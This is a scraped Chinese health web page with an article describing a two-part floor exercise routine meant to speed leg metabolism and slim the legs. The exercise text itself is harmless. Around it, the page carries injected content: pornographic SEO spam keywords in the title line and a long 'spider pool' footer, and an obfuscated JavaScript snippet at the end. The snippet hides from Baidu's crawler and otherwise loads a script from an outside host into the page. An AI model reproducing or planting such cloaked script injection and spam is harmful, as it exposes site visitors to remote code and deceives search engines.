久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

如何加快腿部的新陳代謝?

2017-04-14 19:37:38  來源:360常識網   熱度:
導語:想要擁有完美的腿部線條是每個女孩子的夢想,如果能通過運動加快腿部的新陳代謝就能有效的減去腿部多余的脂肪。但是怎樣才能到到這個效果呢

想要擁有完美的腿部線條是每個女孩子的夢想,如果能通過運動加快腿部的新陳代謝就能有效的減去腿部多余的脂肪。但是怎樣才能到到這個效果呢?其實健身操是非常有效的局部減肥運動。今天小編就來教你一套二式健身操,能幫助我們加快腿部的新陳代謝,并且還能同時減除身體多個部分的贅肉。

第一式:

1、平躺在墊子上,上身盡量緊貼著墊子,雙手自然放在體側,掌心著地,雙腿并攏屈膝雙腳著地,吸氣收腹。

2、雙腿夾緊慢慢抬起,上身與大腿成90度,腳掌朝前,均勻呼吸,雙手屈肘放在后腦勺上,眼睛看著上方,動作持續10秒。

3、保持以上姿勢不動,慢慢地用雙手抬起頭部,肩膀以下部位不動,動作持續10秒。

4、頭部慢慢回到墊子上,雙腿與上身成90度,腹部保持收縮,動作持續10秒,恢復第二步驟姿勢。

5、保持上一步姿勢,小腿部分慢慢放回地面,即恢復第一步驟動作,然后持續15秒。

第二式:

1、平躺在墊子上,上身盡量緊貼著墊子,雙手張開與肩膀平行放在墊子上,雙腿并攏屈膝雙腳著地,腹部保持緊張。

2、雙腿夾緊慢慢抬起,上身與大腿成90度,腳掌朝前,均勻呼吸,眼睛看著上方,動作持續10秒。

3、雙腳慢慢放回到墊子上,雙腿屈膝,腰部以上保持不動,扭動腰部轉向右邊,動作持續15秒,再換邊重復動作。

4、腰部扭向正方,并攏雙腿抬起,雙腿與上身成90度,腹部保持收縮,動作持續10秒,恢復第二步驟姿勢。

5、保持上一步姿勢,小腿部分慢慢放回地面,即恢復第一步驟動作,然后持續15秒。

以上就是小編為大家介紹的能加快腿部新陳代謝的方法。小編要提醒的是,如果想要達到塑造腿部線條的目的,就要每天堅持鍛煉,三天打魚兩天曬網是無法看到明顯的效果的。感興趣的朋友快快嘗試吧。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 密桃av | 在线观看日韩av | 欧美一区二区在线免费观看 | 国产.com | 欧美国产在线观看 | 一级毛片免费观看 | 亚洲欧美综合精品久久成人 | 亚洲综合在线一区二区 | 黄色网址av| 国产精品美女久久久久久久久久久 | 中文字幕亚洲区 | 国产成人精品av | 一区二区av在线 | 白色白色在线视频 | 日本不卡网站 | 久久99国产精品 | 一区二区免费在线播放 | 亚洲精品中文字幕 | 欧洲尺码日本国产精品 | 国产精品揄拍一区二区久久国内亚洲精 | 亚洲久久在线 | 国产精品高潮99久久久久久久 | 成人av在线播放 | 国产精品一二三四区 | 羞羞视频官网 | 欧美精品一区在线 | 在线欧美日韩 | 精品久久香蕉国产线看观看亚洲 | 国产精品亲子伦av一区二区三区 | 男人的天堂视频网站 | 亚洲人人| 色丁香婷婷 | 毛片视频观看 | 91精品国产91久久久久久蜜臀 | 91精品在线观看入口 | 国产精品久久久久久久久久妞妞 | 国产精品91网站 | 亚洲精品在线观 | 黄色大片网站在线观看 | 日韩精品一区二区三区免费观看视频 | 男女视频免费 |